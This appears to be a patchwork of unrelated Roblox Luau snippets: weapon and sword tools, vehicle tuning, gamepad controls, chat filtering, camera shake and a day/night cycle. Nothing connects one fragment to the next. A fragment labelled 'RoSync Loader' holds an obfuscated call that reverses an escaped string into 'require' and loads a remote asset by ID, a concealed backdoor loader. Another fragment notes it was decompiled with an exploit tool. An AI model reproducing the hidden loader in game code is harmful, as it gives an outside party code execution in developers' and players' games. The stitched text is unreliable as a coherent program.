--[=[ @function first @within Array @param array {T} -- The array to get the first item from. @return T -- The first item in the array. Gets the first item in the array. ```lua local array = { 1, 2, 3 } local value = First(array) -- 1 ``` ]=]
local function first<T>(array: { T }): T return At(array, 1) end return first
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
function RayCast(startPos, vec, rayLength) local hitObject, hitPos = workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle) if hitObject and hitPos then local distance = rayLength - (hitPos - startPos).magnitude if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then -- there is a chance here for potential infinite recursion return RayCast(hitPos, vec, distance) end end return hitObject, hitPos end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new("StringValue") weaponIconTag.Value = IconURL weaponIconTag.Name = "icon" weaponIconTag.Parent = creatorTag end local function CreateFlash() if FlashHolder then local flash = Instance.new('Fire', FlashHolder) flash.Color = Color3.new(1, 140 / 255, 0) flash.SecondaryColor = Color3.new(1, 0, 0) flash.Size = 0.3 DebrisService:AddItem(flash, FireRate / 1.5) else FlashHolder = Instance.new("Part", Tool) FlashHolder.Transparency = 1 FlashHolder.CanCollide= false FlashHolder.Size = Vector3.new(1, 1, 1) FlashHolder.Position = Tool.Handle.Position local Weld = Instance.new("ManualWeld") Weld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld.C1 = CFrame.new(0, 2.2, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld.Part0 = FlashHolder Weld.Part1 = Tool.Handle Weld.Parent = FlashHolder end end local function CreateBullet(bulletPos) local bullet = Instance.new('Part', workspace) bullet.FormFactor = Enum.FormFactor.Custom bullet.Size = Vector3.new(0.1, 0.1, 0.1) bullet.BrickColor = MyPlayer.TeamColor bullet.Shape = Enum.PartType.Ball bullet.CanCollide = false bullet.CFrame = CFrame.new(bulletPos) bullet.Anchored = true bullet.TopSurface = Enum.SurfaceType.Smooth bullet.BottomSurface = Enum.SurfaceType.Smooth bullet.Name = 'Bullet' DebrisService:AddItem(bullet, 2.5) local fire = Instance.new("Fire", bullet) fire.Color = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b) fire.SecondaryColor = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b) fire.Size = 5 fire.Heat = 0 DebrisService:AddItem(fire, 0.2) return bullet end local function Reload() if not Reloading then Reloading = true -- Don't reload if you are already full or have no extra ammo if AmmoInClip ~= ClipSize and SpareAmmo > 0 then if RecoilTrack then RecoilTrack:Stop() end if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = true end end wait(ReloadTime) -- Only use as much ammo as you have local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo) AmmoInClip = AmmoInClip + ammoToUse SpareAmmo = SpareAmmo - ammoToUse UpdateAmmo(AmmoInClip) end Reloading = false end end function OnFire() if IsShooting then return end if MyHumanoid and MyHumanoid.Health > 0 then if RecoilTrack and AmmoInClip > 0 then RecoilTrack:Play() end IsShooting = true while LeftButtonDown and AmmoInClip > 0 and not Reloading do if Spread and not DecreasedAimLastShot then Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount) UpdateCrosshair(Spread) end DecreasedAimLastShot = not DecreasedAimLastShot if Handle:FindFirstChild('FireSound') then Handle.FireSound:Play() end CreateFlash() if MyMouse then local targetPoint = MyMouse.Hit.p local shootDirection = (targetPoint - Handle.Position).unit -- Adjust the shoot direction randomly off by a little bit to account for recoil shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread) * shootDirection local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range) local bullet -- Create a bullet here if hitObject then bullet = CreateBullet(bulletPos) end if hitObject and hitObject.Parent then local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") if hitHumanoid then local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent) if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then TagHumanoid(hitHumanoid, MyPlayer) hitHumanoid:TakeDamage(Damage) if bullet then bullet:Destroy() bullet = nil --bullet.Transparency = 1 end spawn(UpdateTargetHit) end end end AmmoInClip = AmmoInClip - 1 UpdateAmmo(AmmoInClip) end wait(FireRate) end IsShooting = false if AmmoInClip == 0 then Reload() end if RecoilTrack then RecoilTrack:Stop() end end end local TargetHits = 0 function UpdateTargetHit() TargetHits = TargetHits + 1 if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = true end wait(0.5) TargetHits = TargetHits - 1 if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = false end end function UpdateCrosshair(value, mouse) if WeaponGui then local absoluteY = 650 WeaponGui.Crosshair:TweenSize( UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.33) end end function UpdateAmmo(value) if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = false end end if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo end end function OnMouseDown() LeftButtonDown = true OnFire() end function OnMouseUp() LeftButtonDown = false end function OnKeyDown(key) if string.lower(key) == 'r' then Reload() end end function OnEquipped(mouse) RecoilAnim = WaitForChild(Tool, 'Recoil') FireSound = WaitForChild(Handle, 'FireSound') MyCharacter = Tool.Parent MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyTorso = MyCharacter:FindFirstChild('Torso') MyMouse = mouse WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone() if WeaponGui and MyPlayer then WeaponGui.Parent = MyPlayer.PlayerGui UpdateAmmo(AmmoInClip) end if RecoilAnim then RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim) end if MyMouse then -- Disable mouse icon MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154" MyMouse.Button1Down:connect(OnMouseDown) MyMouse.Button1Up:connect(OnMouseUp) MyMouse.KeyDown:connect(OnKeyDown) end end
-------- OMG HAX
r = game:service("RunService") local damage = 0 + (script.AddDam.Value/4) local slash_damage = 0 + script.AddDam.Value sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "http://www.roblox.com/asset/?id=10730819" SlashSound.Parent = sword SlashSound.Volume = 1 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=12722518" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Immortal") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Immortal if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--Miscellaneous Settings:
LEAVE_DISABLE = true --Turns off the engine when you leave the car GEAR_SPEED = 2.5 --Directly affects cam gear spin speed (Arbitrary) SHAKE_ANGLE = 2.5 --Max angle of the engine shake in degrees SHAKE_VALUE = 1.0 --Intensity of the engine shake (Arbitrary) MH_THRESHOLD = 6800 --RPM value in which manifold heats up MH_COOLDOWN = 2.5 --Manifold cool down rate BELT_SPEED = 5.0 --Speed of the belt (Arbitrary) BELT_TEXTURE = 5503797483 --TextureID of belt in case you did not put it in the TextureID StringValue object BELT_WIDTH = 0.1 --Width of belt in case you did not put it in the BeltWidth StringValue object TURBO_SPEED = 1.0 --Directly affects turbo fan spin speed (Arbitrary) TURBO_BLUR = true --Turbo fan motion blur
--//INSPARE//--
local player = game.Players.LocalPlayer local lightOn = false local car = script.Parent.Car.Value
--[[ Last synced 7/19/2021 08:28 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Etc
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath") local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled") local DEATH_DESTROY_DELAY = 5 local PATROL_WALKSPEED = 0 local MIN_REPOSITION_TIME = 2 local MAX_REPOSITION_TIME = 10 local MAX_PARTS_PER_HEARTBEAT = 50 local SEARCH_DELAY = 1
----------------- --| Variables |-- -----------------
local Tool = script.Parent local ToolHandle = Tool.Handle local MyModel = nil local ReloadRocket = nil local StillEquipped = false
--[[ Public API ]]
-- function Gamepad:Enable() local forwardValue = 0 local backwardValue = 0 local leftValue = 0 local rightValue = 0 local moveFunc = LocalPlayer.Move local gamepadSupports = UserInputService.GamepadSupports local controlCharacterGamepad1 = function(actionName, inputState, inputObject) if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end if hasCancelType and inputState == Enum.UserInputState.Cancel then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) return end if inputObject.Position.magnitude > thumbstickDeadzone then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y) MasterControl:AddToPlayerMovement(currentMoveVector) else MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) end end local jumpCharacterGamepad1 = function(actionName, inputState, inputObject) if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end if hasCancelType and inputState == Enum.UserInputState.Cancel then MasterControl:SetIsJumping(false) return end MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin) end local doDpadMoveUpdate = function() if not gamepadSupports(UserInputService, Enum.UserInputType.Gamepad1, Enum.KeyCode.Thumbstick1) then if LocalPlayer and LocalPlayer.Character then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue) MasterControl:AddToPlayerMovement(currentMoveVector) end end end local moveForwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then forwardValue = -1 elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then forwardValue = 0 end doDpadMoveUpdate() end local moveBackwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then backwardValue = 1 elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then backwardValue = 0 end doDpadMoveUpdate() end local moveLeftFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then leftValue = -1 elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then leftValue = 0 end doDpadMoveUpdate() end local moveRightFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.End then rightValue = 1 elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then rightValue = 0 end doDpadMoveUpdate() end ContextActionService:BindAction("JumpButton",jumpCharacterGamepad1, false, Enum.KeyCode.ButtonA) ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad1, false, Enum.KeyCode.Thumbstick1) ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp) ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown) ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft) ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight) ContextActionService:BindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2) UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) end) UserInputService.GamepadConnected:connect(function(gamepadEnum) if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) end) end function Gamepad:Disable() ContextActionService:UnbindAction("forwardDpad") ContextActionService:UnbindAction("backwardDpad") ContextActionService:UnbindAction("leftDpad") ContextActionService:UnbindAction("rightDpad") ContextActionService:UnbindAction("MoveThumbstick") ContextActionService:UnbindAction("JumpButton") ContextActionService:UnbindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2) MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) MasterControl:SetIsJumping(false) end return Gamepad
-- if userPlayEmoteByIdAnimTrackReturn then -- return true, currentAnimTrack -- else -- return true -- end -- elseif typeof(emote) == "Instance" and emote:IsA("Animation") then -- -- Non-default emotes -- playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
--[[Weight and CG]]
Tune.Weight = 2963 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 4.4 , --[[Length]] 15 } Tune.WeightDist = 55 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = 1.3 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- Set camera tilt correction for mobile:
function CamLock.SetMobileDeviceBank(bank) mobileDeviceBank = bank end
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end local dir = mouse_pos - head.Position dir = computeDirection(dir) local launch = head.Position + 5 * dir local delta = mouse_pos - launch local dy = delta.y local new_delta = Vector3.new(delta.x, 0, delta.z) delta = new_delta local dx = delta.magnitude local unit_delta = delta.unit -- acceleration due to gravity in RBX units local g = (-9.81 * 20) local theta = computeLaunchAngle( dx, dy, g) local vy = math.sin(theta) local xz = math.cos(theta) local vx = unit_delta.x * xz local vz = unit_delta.z * xz local missile = Pellet:clone() Tool.Handle.Mesh:clone().Parent = missile missile.Position = launch missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY missile.PelletScript.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vCharacter creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end function computeLaunchAngle(dx,dy,grav) -- arcane -- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile local g = math.abs(grav) local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY))) if inRoot <= 0 then return .25 * math.pi end local root = math.sqrt(inRoot) local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx) local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx) local answer1 = math.atan(inATan1) local answer2 = math.atan(inATan2) if answer1 < answer2 then return answer1 end return answer2 end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end if loaded==true then loaded=false local targetPos = humanoid.TargetPoint fire(targetPos) wait(.2) Tool.Enabled = true elseif loaded==false then Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) Tool.Handle.Transparency=0 wait(.1) loaded=true end Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
--[[ Function called when leaving the state ]]
function PlayerFinished.leave(stateMachine, playerComponent) playerComponent:destroyVehicle() end return PlayerFinished
--!strict -- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
return -9007199254740991
--///////////////// Internal-Use Methods --////////////////////////////////////// --DO NOT REMOVE THIS. Chat must be filtered or your game will face --moderation.
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG if (RunService:IsServer() and not RunService:IsStudio()) then local fromSpeaker = self:GetSpeaker(speakerName) local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName) if fromSpeaker == nil then return nil end local fromPlayerObj = fromSpeaker:GetPlayer() local toPlayerObj = toSpeaker and toSpeaker:GetPlayer() if fromPlayerObj == nil then return message end if allSpaces(message) then return message end local filterStartTime = tick() local filterRetries = 0 while true do local success, message = pcall(function() if toPlayerObj then return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj) else return Chat:FilterStringForBroadcast(message, fromPlayerObj) end end) if success then return message else warn("Error filtering message:", message) end filterRetries = filterRetries + 1 if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then self:InternalNotifyFilterIssue() return nil end local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)] -- backoffWait = backoffInterval +/- (0 -> backoffInterval) local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval) wait(backoffWait) end else --// Simulate filtering latency. --// There is only latency the first time the message is filtered, all following calls will be instant. if not StudioMessageFilteredCache[message] then StudioMessageFilteredCache[message] = true wait() end return message end return nil end
-- LOCAL
local players = game:GetService("Players") local runService = game:GetService("RunService") local heartbeat = runService.Heartbeat local localPlayer = runService:IsClient() and players.LocalPlayer local replicatedStorage = game:GetService("ReplicatedStorage") local httpService = game:GetService("HttpService") local Enum_ = require(script.Enum) local enum = Enum_.enums local Janitor = require(script.Janitor) local Signal = require(script.Signal) local ZonePlusReference = require(script.ZonePlusReference) local referenceObject = ZonePlusReference.getObject() local zoneControllerModule = script.ZoneController local trackerModule = zoneControllerModule.Tracker local collectiveWorldModelModule = zoneControllerModule.CollectiveWorldModel local ZoneController = require(zoneControllerModule) local referenceLocation = (game:GetService("RunService"):IsClient() and "Client") or "Server" local referencePresent = referenceObject and referenceObject:FindFirstChild(referenceLocation) if referencePresent then return require(referenceObject.Value) end local Zone = {} Zone.__index = Zone if not referencePresent then ZonePlusReference.addToReplicatedStorage() end Zone.enum = enum
-- PopperCam mod
local Poppercam = require(popperCamModule) local ZoomController = require(cameraModule:WaitForChild("ZoomController")) function Poppercam:Update(renderDt, desiredCameraCFrame, desiredCameraFocus, cameraController) local rotatedFocus = desiredCameraFocus * (desiredCameraCFrame - desiredCameraCFrame.p) local extrapolation = self.focusExtrapolator:Step(renderDt, rotatedFocus) local zoom = ZoomController.Update(renderDt, rotatedFocus, extrapolation) return rotatedFocus*CFrame.new(0, 0, zoom), desiredCameraFocus end
--[[ A special key for property tables, which parents any given descendants into an instance. ]]
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) local logWarn = require(Package.Logging.logWarn) local Observer = require(Package.State.Observer) local xtypeof = require(Package.Utility.xtypeof) type Set<T> = {[T]: boolean}
--[[ A 'Symbol' is an opaque marker type. Symbols have the type 'userdata', but when printed to the console, the name of the symbol is shown. ]]
local Symbol = {}
-- Frame that contains the selection
local SelectionFrame = InteractionGui:WaitForChild("SelectionFrame") local TopBar = PlayerGui:WaitForChild("TopBar")
-- Decompiled with the Synapse X Luau decompiler.
return { ["Fantasy Coins"] = { canDrop = true, dropWeight = 40, isUnique = false, tiers = { { title = "Fantasy Coins I", desc = "Pet earns +15% more Fantasy Coins", value = 1.15 }, { title = "Fantasy Coins II", desc = "Pet earns +30% more Fantasy Coins", value = 1.3 }, { title = "Fantasy Coins III", desc = "Pet earns +50% more Fantasy Coins", value = 1.5 }, { title = "Fantasy Coins IV", desc = "Pet earns +75% more Fantasy Coins", value = 1.75 }, { title = "Fantasy Coins V", desc = "Pet earns +100% more Fantasy Coins", value = 2 } } } };
--[=[ Add a task to clean up. Tasks given to a maid will be cleaned when maid[index] is set to a different value. Task cleanup is such that if the task is an event, it is disconnected. If it is an object, it is destroyed. ``` Maid[key] = (function) Adds a task to perform Maid[key] = (event connection) Manages an event connection Maid[key] = (thread) Manages a thread Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up. Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method Maid[key] = nil Removes a named task. ``` @param index any @param newTask MaidTask ]=]
function Maid:__newindex(index, newTask) if Maid[index] ~= nil then error(("Cannot use '%s' as a Maid key"):format(tostring(index)), 2) end local tasks = self._tasks local oldTask = tasks[index] if oldTask == newTask then return end tasks[index] = newTask if oldTask then if type(oldTask) == "function" then oldTask() elseif type(oldTask) == "thread" then local cancelled if coroutine.running() ~= oldTask then cancelled = pcall(function() task.cancel(oldTask) end) end if not cancelled then task.defer(function() task.cancel(oldTask) end) end elseif typeof(oldTask) == "RBXScriptConnection" then oldTask:Disconnect() elseif oldTask.Destroy then oldTask:Destroy() end end end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Character.Stats.Days.Value < 1 end
-- Properties
local Map = {} local Groups = {} local EmptySound = Instance.new("Sound")
--[[ CameraShakePresets.Bump CameraShakePresets.Explosion CameraShakePresets.Earthquake CameraShakePresets.BadTrip CameraShakePresets.HandheldCamera CameraShakePresets.Vibration CameraShakePresets.RoughDriving --]]
local CameraShakeInstance = require(script.Parent.CameraShakeInstance) local CameraShakePresets = { -- A high-magnitude, short, yet smooth shake. -- Should happen once. Bump = function() local c = CameraShakeInstance.new(2.5, 4, 0.1, 0.75) c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15) c.RotationInfluence = Vector3.new(1, 1, 1) return c end; -- A high-magnitude, short, yet smooth shake. -- Should happen once. Knocked = function() local c = CameraShakeInstance.new(2.5, 8, 0.05, 0.75) c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15) c.RotationInfluence = Vector3.new(1, 1, 1) return c end; -- An intense and rough shake. -- Should happen once. Explosion = function() local c = CameraShakeInstance.new(5, 10, 0, 1.5) c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25) c.RotationInfluence = Vector3.new(4, 1, 1) return c end; -- A continuous, rough shake -- Sustained. Earthquake = function() local c = CameraShakeInstance.new(0.6, 3.5, 2, 10) c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25) c.RotationInfluence = Vector3.new(1, 1, 4) return c end; -- A bizarre shake with a very high magnitude and low roughness. -- Sustained. BadTrip = function() local c = CameraShakeInstance.new(10, 0.15, 5, 10) c.PositionInfluence = Vector3.new(0, 0, 0.15) c.RotationInfluence = Vector3.new(2, 1, 4) return c end; -- A subtle, slow shake. -- Sustained. HandheldCamera = function() local c = CameraShakeInstance.new(1, 0.25, 5, 10) c.PositionInfluence = Vector3.new(0, 0, 0) c.RotationInfluence = Vector3.new(1, 0.5, 0.5) return c end; -- A very rough, yet low magnitude shake. -- Sustained. Vibration = function() local c = CameraShakeInstance.new(0.4, 20, 2, 2) c.PositionInfluence = Vector3.new(0, 0.15, 0) c.RotationInfluence = Vector3.new(1.25, 0, 4) return c end; -- A slightly rough, medium magnitude shake. -- Sustained. RoughDriving = function() local c = CameraShakeInstance.new(1, 2, 1, 1) c.PositionInfluence = Vector3.new(0, 0, 0) c.RotationInfluence = Vector3.new(1, 1, 1) return c end; } return setmetatable({}, { __index = function(t, i) local f = CameraShakePresets[i] if (type(f) == "function") then return f() end error("No preset found with index \"" .. i .. "\"") end; })
-- Core events
ToolChanged = RbxUtility.CreateSignal(); function EquipTool(Tool) -- Equips and switches to the given tool -- Unequip current tool if CurrentTool and CurrentTool.Equipped then CurrentTool.Unequip(); CurrentTool.Equipped = false; end; -- Set `Tool` as current CurrentTool = Tool; CurrentTool.Equipped = true; -- Fire relevant events ToolChanged:fire(Tool); -- Equip the tool Tool.Equip(); end; function RecolorHandle(Color) SyncAPI:Invoke('RecolorHandle', Color); end;
--- Makes a type that contains a sequence, e.g. Vector3 or Color3
function Util.MakeSequenceType(options) options = options or {} assert(options.Parse ~= nil or options.Constructor ~= nil, "MakeSequenceType: Must provide one of: Constructor, Parse") options.TransformEach = options.TransformEach or function(...) return ... end options.ValidateEach = options.ValidateEach or function() return true end return { Prefixes = options.Prefixes; Transform = function (text) return Util.Map(Util.SplitPrioritizedDelimeter(text, {",", "%s"}), function(value) return options.TransformEach(value) end) end; Validate = function (components) if options.Length and #components > options.Length then return false, ("Maximum of %d values allowed in sequence"):format(options.Length) end for i = 1, options.Length or #components do local valid, reason = options.ValidateEach(components[i], i) if not valid then return false, reason end end return true end; Parse = options.Parse or function(components) return options.Constructor(unpack(components)) end } end
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.
local dayLength = 60 local cycleTime = dayLength*60 local minutesInADay = 24*60 local lighting = game:GetService("Lighting") local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime local endTime = startTime + cycleTime local timeRatio = minutesInADay / cycleTime if dayLength == 0 then dayLength = 1 end repeat local currentTime = tick() if currentTime > endTime then startTime = endTime endTime = startTime + cycleTime end lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio) wait(1/15) until false
--[=[ Destroy the ServerComm object. ]=]
function ServerComm:Destroy() self._instancesFolder:Destroy() end return ServerComm
--Made by Stickmasterluke
sp = script.Parent speedboost = 1 --100% speed bonus speedforsmoke = 10 --smoke apears when character running >= 10 studs/second. local tooltag = script:WaitForChild("ToolTag",2) if tooltag~=nil then local tool=tooltag.Value local h=sp:FindFirstChild("Humanoid") if h~=nil then h.WalkSpeed=16+16*speedboost local hrp = sp:FindFirstChild("HumanoidRootPart") if hrp ~= nil then smokepart=Instance.new("Part") smokepart.FormFactor="Custom" smokepart.Size=Vector3.new(0,0,0) smokepart.TopSurface="Smooth" smokepart.BottomSurface="Smooth" smokepart.CanCollide=false smokepart.Transparency=1 local weld=Instance.new("Weld") weld.Name="SmokePartWeld" weld.Part0 = hrp weld.Part1=smokepart weld.C0=CFrame.new(0,-3.5,0)*CFrame.Angles(math.pi/4,0,0) weld.Parent=smokepart smokepart.Parent=sp smoke=Instance.new("Smoke") smoke.Enabled = hrp.Velocity.magnitude>speedforsmoke smoke.RiseVelocity=2 smoke.Opacity=.25 smoke.Size=.5 smoke.Parent=smokepart h.Running:connect(function(speed) if smoke and smoke~=nil then smoke.Enabled=speed>speedforsmoke end end) end end while tool~=nil and tool.Parent==sp and h~=nil do sp.ChildRemoved:wait() end local h=sp:FindFirstChild("Humanoid") if h~=nil then h.WalkSpeed=16 end end if smokepart~=nil then smokepart:Destroy() end script:Destroy()
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
